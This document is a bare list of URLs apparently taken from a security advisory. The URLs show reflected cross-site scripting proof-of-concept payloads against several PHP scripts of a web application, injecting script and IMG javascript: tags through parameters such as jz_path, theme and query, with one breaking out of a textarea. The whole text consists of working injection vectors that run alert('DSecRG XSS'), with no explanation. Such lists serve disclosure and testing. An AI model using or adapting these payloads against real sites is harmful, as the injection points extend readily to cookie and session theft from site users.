http://www.example.com/[installdir]/index.php?frontend=<IMG SRC="javascript:alert('DSecRG XSS')"> http://www.example.com/[installdir]/ajax_request.php?language=<IMG SRC="javascript:alert('DSecRG XSS')"> http://www.example.com/[installdir]/slim.php?jz_path=<IMG SRC="javascript:alert('DSecRG XSS')"> http://www.example.com/[installdir]/popup.php?theme=<IMG SRC="javascript:alert('DSecRG XSS')"> http://www.example.com/[installdir]/index.php/"><script>alert('DSecRG XSS')</script> http://www.example.com/[installdir]/popup.php?ptype=sitenew&siteNewsData = </textarea><script>alert('DSecRG XSS')</script> http://www.example.com/[installdir]/popup.php?ptype=playlistedit&query = <script>alert('DSecRG XSS')</script>